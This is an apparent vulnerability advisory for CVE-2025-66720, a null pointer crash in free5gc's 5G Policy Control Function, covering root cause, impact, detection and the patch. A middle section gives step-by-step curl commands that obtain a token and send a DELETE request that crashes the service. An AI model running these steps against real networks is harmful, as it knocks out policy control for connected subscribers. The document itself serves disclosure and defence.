CVE-2025-66720: 
NixOS vulnerability analysis and mitigation

CVE-2025-66720 is a null pointer dereference vulnerability in free5gc's Policy Control Function (PCF) component version 1.4.0, located in internal/sbi/processor/ampolicy.go within the HandleDeletePoliciesPolAssoId function. The flaw allows unauthenticated remote attackers to crash the PCF service by sending a crafted DELETE request with a non-existent policy association ID. It was published on January 23, 2026, with a patch merged on October 15, 2025. The vulnerability carries a CVSS v3.1 base score of 7.5 (High) (Red Hat CVE, GitHub Issue).

The root cause is a missing return statement after error handling in the HandleDeletePoliciesPolAssoId function (CWE-476: NULL Pointer Dereference). When a DELETE request is made with a polAssoId that does not exist in the PCF context, the function correctly sets a 404 error response via c.JSON(), but fails to abort or return execution. As a result, the code continues to execute delete(ue.AMPolicyData, polAssoId) where ue is nil, triggering a Go runtime panic. An attacker only needs a valid OAuth2 bearer token (obtainable via the NRF's /oauth2/token endpoint with nfType=AMF and targetNfType=PCF) to send the malicious DELETE request to /npcf-am-policy-control/v1/policies/{fuzzstring} (GitHub Issue, GitHub PR).

Successful exploitation causes the PCF process to panic and crash, resulting in a denial of service for the Policy Control Function — a critical component responsible for policy enforcement in 5G core networks. Loss of the PCF disrupts AM (Access and Mobility) policy control for all connected UEs, potentially affecting network-wide policy enforcement, QoS management, and subscriber session handling. There is no confidentiality or integrity impact; the vulnerability is limited to availability (Red Hat CVE, GitHub Issue).

A proof-of-concept exploit is publicly documented in the GitHub issue tracker, demonstrating the crash via a simple curl DELETE request with a fabricated polAssoId and a valid bearer token. There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.013% (very low probability of exploitation in the near term). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Issue, Red Hat CVE).

1. Obtain a valid OAuth2 token: Send a POST request to the NRF token endpoint to acquire a bearer token scoped for npcf-am-policy-control:

   curl --location 'http://<NRF_IP>:8000/oauth2/token' \
     --header 'Content-Type: application/x-www-form-urlencoded' \
     --data-urlencode 'grant_type=client_credentials' \
     --data-urlencode 'nfInstanceId=<any-valid-uuid>' \
     --data-urlencode 'nfType=AMF' \
     --data-urlencode 'targetNfType=PCF' \
     --data-urlencode 'scope=npcf-am-policy-control'

2. Craft the malicious DELETE request: Using the obtained token, send a DELETE request to the PCF's AM policy endpoint with a non-existent or arbitrary polAssoId:

   curl -v -X DELETE \
     -H "Authorization: Bearer <token>" \
     -H "Accept: application/json" \
     "http://<PCF_IP>:8000/npcf-am-policy-control/v1/policies/fuzzstring"

3. Trigger the panic: The PCF returns a 404 JSON response to the client, but internally fails to abort execution, proceeds to dereference the nil ue pointer in delete(ue.AMPolicyData, polAssoId), and crashes with a Go runtime panic.
4. Result: The PCF process terminates, causing a denial of service for all policy control operations until the service is restarted (GitHub Issue).

• Network: Repeated DELETE requests to /npcf-am-policy-control/v1/policies/<random_string> from unexpected source IPs; requests using valid bearer tokens but targeting non-existent policy association IDs.
• Logs: PCF application logs showing a Go runtime panic with a stack trace referencing ampolicy.go and the HandleDeletePoliciesPolAssoId function; log entries showing a 404 response immediately followed by a panic/crash event.
• Process: Unexpected termination and restart of the pcf process; monitoring alerts for PCF service unavailability or repeated process restarts in a short time window (GitHub Issue).

The fix was merged into the free5gc/pcf main branch on October 15, 2025, via pull request #57, which adds a return statement after the error response to prevent continued execution when ue is nil. Users should upgrade to a version of free5gc PCF that includes this fix (post-October 15, 2025 builds from the main branch). As a temporary workaround, implement network segmentation to restrict access to PCF SBI endpoints to trusted 5G core network functions only, and monitor for unexpected PCF process restarts (GitHub PR, Red Hat CVE).

The vulnerability was reported by a security researcher (user agl-cop) via the free5gc GitHub issue tracker on October 6, 2025, with a clear technical description and reproduction steps. Red Hat tracked the CVE in their security advisory database. The Hacker Wire and associated social media accounts (Mastodon, Bluesky) noted the CVE upon its public disclosure in January 2026. Community reaction has been limited given the niche scope of the affected software (open-source 5G core) (GitHub Issue, Red Hat CVE).